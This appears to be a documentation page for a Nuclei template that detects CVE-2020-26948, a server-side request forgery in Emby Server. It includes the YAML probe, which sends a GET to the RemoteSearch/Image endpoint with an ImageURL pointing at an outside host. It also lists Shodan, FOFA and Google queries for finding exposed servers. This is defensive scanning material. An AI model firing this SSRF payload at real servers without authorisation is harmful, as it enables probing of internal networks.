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Emby Server Server-Side Request Forgery

ID: CVE-2020-26948

Severity: critical

Author: dwisiswant0

Tags: cve2020,cve,emby,jellyfin,ssrf

Description

Section titled “Description”

Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2020-26948


info:
  name: Emby Server Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, perform port scanning, and potentially pivot to other systems.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Emby Server.
  reference:
    - https://github.com/btnz-k/emby_ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26948
    - https://github.com/btnz-k/emby_ssrf/blob/master/emby_scan.rb
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2020-26948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26948
    cwe-id: CWE-918
    epss-score: 0.1449
    epss-percentile: 0.95606
    cpe: cpe:2.3:a:emby:emby:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emby
    product: emby
    shodan-query: http.title:"emby"
    fofa-query: title="emby"
    google-query: intitle:"emby"
  tags: cve2020,cve,emby,jellyfin,ssrf


http:
  - method: GET
    path:
      - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Name or service not known"


      - type: word
        part: header
        words:
          - "text/plain"


      - type: status
        status:
          - 500
# digest: 490a0046304402205aab2b7d67f632b300b0c6cc8826ced3929017f7c84a6bd6e3a1f3558fa1c68402206a10ba6600fa71e733e2dc56214d9ace0fde30a50a18152216e5c8ad7729f902:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-26948.yaml"

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